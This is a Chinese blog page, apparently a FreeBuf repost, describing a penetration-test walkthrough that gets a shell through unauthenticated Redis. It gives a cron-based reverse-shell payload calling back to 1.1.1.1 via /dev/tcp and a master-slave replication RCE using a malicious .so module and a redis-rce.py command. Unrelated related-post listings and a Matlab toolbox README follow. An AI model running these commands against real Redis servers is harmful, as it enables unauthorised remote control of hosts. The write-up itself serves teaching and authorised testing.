linux 脚本 执行redis 绕过 auth,记一次Redis+Getshell经验分享

你是我患得患失的梦,我是你可有可无的人,毕竟这穿越山河的箭,刺的都是用情之疾的人。

前言:

当我们接到一个授权渗透测试的时候,常规漏洞如注入、文件上传等尝试无果后,扫描端口可能会发现意外收获。

知己知彼乃百战不殆,Redis介绍:

简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。

运筹帷幄之中,Redis漏洞:

1、未授权访问漏洞

Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。

当拿到数据库权限是不会满足我们的,我们的目标只有一个getshell!

目前较主流的两个方法,第一种定时计划反弹shell、第二种利用主从复制rce。

2、定时计划反弹shell1)set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"

2)config set dir /var/spool/cron/

3)config set dbfilename root

4)save

3、利用主从复制rce

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

需要利用一个工具,GitHub下载即可。

进而通过未授权访问或者弱口令连接redis,执行脚本即可获取shell。

f8be22118d36bb9d3059a9277fd3c7fb.png

决胜千里之外,实战演练:

本次扫到了6379也就是Redis,有的时候可能或改默认端口,建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src,签约保密协议,故搭建靶机还原真实环境,保证原汁原味。)攻击端ip:192.168.109.134

服务端ip:192.168.109.136

73317a9453a799ee5814bab723576579.png通过未授权访问连接redis(如果有密码,可以尝试爆破,authpassword 登陆系统):Redis-cli –h ip

cec4ea4993bae1c84d80d5f3643ed812.png利用主从复制rce获取shell

首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

55a59e4d72c5054185267ceffc682a2f.png攻击端执行:

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

成功获取shell

756638165ba0e7ade2828094cb2f0c00.png

总结:

其实最难得还是需要细心,日常有授权测试的时候不要轻易放过任何数据包,以及一些js文件,它通常会给你带来很多意外的惊喜。执着是好事,但是不能太钻牛角尖,如果一个方面实在行不通的话,可以换条路走,毕竟条条大路最终都是通罗马的。

*本文作者:ch8411,转载请注明来自FreeBuf.COM

未授权访问漏洞深度解析:从Redis、Nacos到Swagger-UI的攻防实战 在信息安全领域,访问控制是保障系统安全的核心机制之一,其核心原理在于验证请求者的合法身份与操作权限。一旦该机制缺失或存在缺陷,就会形成未授权访问漏洞,攻击者无需凭证即可直接访问敏感数据或执行高危操作,技术价值在于其极低的利用门槛与极高的破坏性,常成为内网渗透的突破口。该漏洞广泛存在于数据库、缓存中间件、API接口及各类管理后台中,例如Redis未授权访问可直接导致服务器沦陷,而Nacos配置中心的此类漏洞则可能引发大规模敏感信息泄露。本文聚焦于Redis、Nacos、Swagger-UI等高危组件的未授权访 阅读详情

相关推荐

Redis未授权访问漏洞:从原理到实战的渗透测试与安全加固指南

在分布式系统与Web应用架构中,内存数据库作为高性能缓存和会话存储的核心组件,其安全性直接关系到整个系统的稳定与数据隐私。Redis作为主流的内存数据库,其默认配置在追求性能与易用性的同时,也可能因安全意识的疏忽而引入严重风险。其核心访问控制机制依赖于密码认证与网络绑定配置,若配置不当,攻击者无需认证即可连接并操作数据库,这构成了未授权访问漏洞的底层原理。这种漏洞的技术危害极大,攻击者不仅能窃取全部缓存数据(可能包含用户会话、业务逻辑等敏感信息),更可利用Redis的数据持久化功能,通过写入SSH公钥或We

weixin_34357436的博客 490

Redis未授权访问漏洞:原理、自动化利用脚本与防御加固实战

在分布式系统与Web应用架构中,数据库安全是保障业务连续性的基石。Redis作为一种高性能的内存键值数据库,其默认配置在追求简便性的同时,也可能因缺乏认证机制而引发严重安全风险。其核心通信协议RESP(REdis Serialization Protocol)设计简洁,但若服务绑定在0.0.0.0且未设置访问密码,攻击者便可直接连接并执行任意命令。这种未授权访问漏洞的技术价值在于,攻击者可滥用Redis的数据持久化功能,通过CONFIG SET等命令修改文件路径与名称,将恶意代码写入Web目录或系统关键文件

weixin_34221112的博客 397

RCE漏洞全解:从原理到实战攻防与防御体系构建

远程代码执行是网络安全领域的核心概念,指攻击者通过网络在目标系统上执行任意命令。其根本原理在于应用程序混淆了数据与代码的边界,未能对用户输入进行有效过滤与净化,导致外部输入被当作代码执行。这项技术的危害性极大,攻击者一旦利用成功,即可获得系统最高权限,进行数据窃取、文件加密或搭建攻击跳板。在应用场景上,RCE漏洞常见于Web应用、中间件及各类服务中,是红蓝对抗的焦点。本文以Log4j2、Spring Framework等经典漏洞为例,深入剖析命令注入、反序列化等核心成因,并系统阐述从代码审计、实时监控到纵深

weixin_34055787的博客 496

linux 脚本 执行redis 绕过 auth,Redis未授权配合SSH免密码登录漏洞及修复

阅读:6,991本文作者带大家了解什么是Redis,并且了解Redisc客户端redis-cli、Redis Desktop Manager、Redis的常用的Key操作命令、配置命令,讲解Redis未授权利用配合SSH免密码登录,并且解决利用Redis写公钥依然无法登录的情况以及相关的修复方案,欢迎讨论。 本文由红客联盟推荐 由U神原创Rdis未授权访问主机:CentOS 7 192.168....

weixin_33683833的博客 838

HW实战:Sourcemap泄露、Nacos未授权等四大高危漏洞复现与加固指南

在软件开发与系统运维中,源代码映射(Sourcemap)和配置管理是常见的工程实践。Sourcemap文件本质上是压缩代码与原始源代码的映射关系,旨在辅助开发者调试,但若在生产环境中被公开访问,攻击者便可利用工具还原出完整的未混淆源码,导致硬编码密钥、业务逻辑等敏感信息泄露。其技术价值在于,清晰的源码为攻击者挖掘逻辑漏洞、辅助SQL注入或XSS攻击提供了直接蓝图,尤其在分布式微服务架构下,配置中心(如Nacos)的未授权访问漏洞会进一步放大风险,使攻击者能直接获取数据库密码、服务令牌等核心配置,甚至接管服务

cuizhu0832的博客 351

中间件安全攻防实战:从IIS、Apache、Tomcat、Nginx漏洞到防御基线

在Web应用安全体系中,中间件作为连接前端与后端、处理网络请求的核心组件,其安全性直接决定了整个应用架构的稳固性。中间件的工作原理涉及对HTTP/HTTPS等网络协议的解析、请求路由、静态资源服务及动态内容处理,一旦存在漏洞或配置缺陷,攻击者便可绕过应用层防护,直接威胁服务器安全。从技术价值看,深入理解中间件安全机制不仅能有效防御常见攻击,更是构建纵深防御体系的关键。在实际应用场景中,无论是金融、政务等传统企业系统,还是互联网服务,IIS、Apache、Tomcat、Nginx这四大主流中间件都广泛部署,其

weixin_30237719的博客 411

redis去除认证密码

先创建密码 找到redis的安装目录bin,执行vim(vi) redis.conf 在 esc 下 找到requirepass( /requirepass) 设置密码 开启redis服务器 ./redis-server redis.conf 启动: ./redis-cli -h 服务器地址 密码登录:auth 密码 exit退出 去除密码 启动: ./redis-cli -h 服务器地址 密码登录:auth 密码 config set requirepass '' quit 不能重启服务,r

技术老鸟 7251

告别PS串口焦虑:深入解析AXI Uartlite IP核如何将ZYNQ PL任意引脚变成串口(从Vivado约束到驱动文件全解析)

本文深入解析AXI Uartlite IP核如何将ZYNQ PL任意引脚变成串口,从Vivado约束到驱动文件全解析。通过AXI Uartlite IP核,开发者可以突破PS端UART数量限制,实现高效串口通信。文章详细介绍了IP核架构、Vivado工程配置、驱动开发及调试技巧,帮助开发者快速掌握这一技术。

weixin_33736649的博客 468

linux操作redis

redis常用命令

qinglongSpring的博客 3万+

流媒体学习之路(mediasoup)——simulcast 与 svc 简介(7)

流媒体学习之路(mediasoup)——simulcast 与 svc(7) 文章目录流媒体学习之路(mediasoup)——simulcast 与 svc(7)

qw225967的博客 7341

STM32:TTL串口调试

TTL只需要两个线就可以完成两个设备之间的双向通信,一个发送电平的I/O称之为TX,与另一个设备的接收I/O口RX相互连接。两设备之间还需要连接地线(GND),这样两设备就有相同的0V参考电势。

superSmart_Dong的博客 5640

Redis基础——1、Linux下安装Redis(超详细)

本文主要介绍了如何再Linux系统下安装Redis

qq_52227892的博客 7万+

HALCON卡尺模型实战:5分钟搞定工件尺寸测量(附完整代码)

本文详细介绍了HALCON卡尺模型在工件尺寸测量中的实战应用,通过5分钟快速搭建测量系统的完整指南,包括基础配置、高级参数调优和完整代码示例。卡尺模型能自动识别边缘并计算精确尺寸,显著提升工业视觉检测的效率和一致性,特别适用于实时测量场景。

weixin_42570296的博客 463

设置Redis连接密码

在服务器上,这里以linux服务器为例,为redis配置密码。 1.第一种方式 (当前这种linux配置redis密码的方法是一种临时的,如果redis重启之后密码就会失效) (1)首先进入redis,如果没有开启redis则需要先开启: [root@ksdf2sk45]# redis-cli -p 6379 127.0.0.1:6379> (2)查看当前redis有没有设置密...

qq_32019367的博客 2012

STM32MP157+AD7606BSTZ四通道IEPE传感器采集方案实战(附完整电路图)

本文详细介绍了基于STM32MP157和AD7606BSTZ的四通道IEPE传感器采集方案,涵盖硬件电路设计、软件驱动开发及系统性能优化。通过精确的恒流源设计和同步采样技术,实现高精度振动信号采集,适用于工业振动监测等应用场景。

weixin_42713608的博客 704

【Docker】如何让docker容器正常使用nvidia显卡

描述了如何在docker容器中使用英伟达显卡的过程和问题解决方法。

NameLoadingFailed的博客 8372

linux端登录redis的auth验证

登录redis后,输入命令却有如下反馈: 原来是之前设置了redis密码,输入密码验证即可: auth “password” 注意password为字符串形式,要用双引号括起来

lihanhan98的博客 778

MIKE水动力笔记18_如何将dfsu流场模拟结果的数据导出成txt文件

MIKE的模拟结果dfsu文件的数据是可以导出的,导出格式为xyz,我们也可以将其改后缀改为txt文本格式,其中包含了某一时刻下所有网格坐标点的数据。

晏长街的博客 4410

Linux下安装Redis

Redis安装 下载redis压缩包 官网下载 https://redis.io/download 远程下载 wget http://download.redis.io/releases/redis-4.0.9.tar.gz 解压redis压缩包 tar -zxf redis-4.0.9.tar.gz 使用make编译redis [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IxxUXPcf-1615530742176)(C:\Users\lishujie\Picture

HOTN_1216的博客 294

核心组件大换血:Backbone与Neck魔改篇:YOLO26结合StarNet结构:2026星状网络在YOLO生态的即插即用实战

本文将介绍如何将StarNet作为Backbone替换YOLO26原生架构,以提升边缘设备上的目标检测性能。文章首先分析了YOLO26在特定场景下的精度瓶颈,指出其通用Backbone设计存在不足。随后深入解析StarNet的核心创新——星操作(Star Operation),这一低维计算却能获得高维特征表达的数学魔术,以及其极简的StarBlock模块设计。通过对比YOLO26原生架构的三大创新与痛点,作者提出两种替换策略:完整替换Backbone或局部替换+Neck联调。文中提供了StarNet核心代码

ZDQ58818的博客 290

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

redis的auth配置与队列

一,redis配置: 1.第一种方式 (当前这种linux配置redis密码的方法是一种临时的,如果redis重启之后密码就会失效,) (1)首先进入redis,如果没有开启redis则需要先开启: [root@VM_6_21_centos ~]# redis-cli -p 6379 127.0.0.1:6379> (2)查看当前redis有没有设置密码: 127...

gaokcl的博客 1056

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Linux redis常用命令

最近项目上遇到了一个问题,项目在近期在进行域名更新,当新域名替换结束后,发现了前端的查询列表展示的视频和图片都无法正确显示。在排查过后,定位到了是由于redis缓存里面的旧域名 ...

qq_40606397的博客 1万+

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

linux redis安装、配置

是一种开源的数据存储技术,它提供了一个高性能的键值对存储系统,支持多种数据结构,包括字符串、哈希、列表、集合和有序集合等。Redis具有内存高速存储和持久化存储的能力,可以用于缓存、会话管理、发布订阅、实时分析等多个领域。Redis的优点包括高性能、高并发、支持事务和Lua脚本、多种数据结构、易于扩展和部署等。同时,Redis也有一定的缺点,如可用内存容量受限、持久性存储的磁盘I/O等待问题等。【】准备环境。

2302_77750172的博客 4167

linux 命令行 Redis (error) NOAUTH Authentication required.解决

出现认证问题,是因为redis设置了认证密码。 启动后输入下面命令 127.0.0.1:6379> auth yourpassword 我的密码是redis123 127.0.0.1:6379> set name hello (error) NOAUTH Authentication required. 127.0.0.1:6379> (error) NOAUTH Authentication required. (error) ERR unknown command '(error)'

weixin_44842084的博客 3635

linux上Redis安装使用

环境centOS8redis是缓存数据库,主要是用于在内存中存储数据,内存的读写很快,加快系统读写数据库的速度。

u014694915的博客 1496

linux 命令行进入redis

3.查看有没有 redis-cli 有则执行。2.进入redis bin目录。1.找到redis安装目录。

PHP,Java--在世悟空的博客 5174
上一篇: linux设备驱动开发详解孔夫子,Linux设备驱动开发详解
下一篇: linux网关禁用命令,LINUX网关维护命令
魔都小妹
博客等级 码龄7年 55粉丝 1508原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值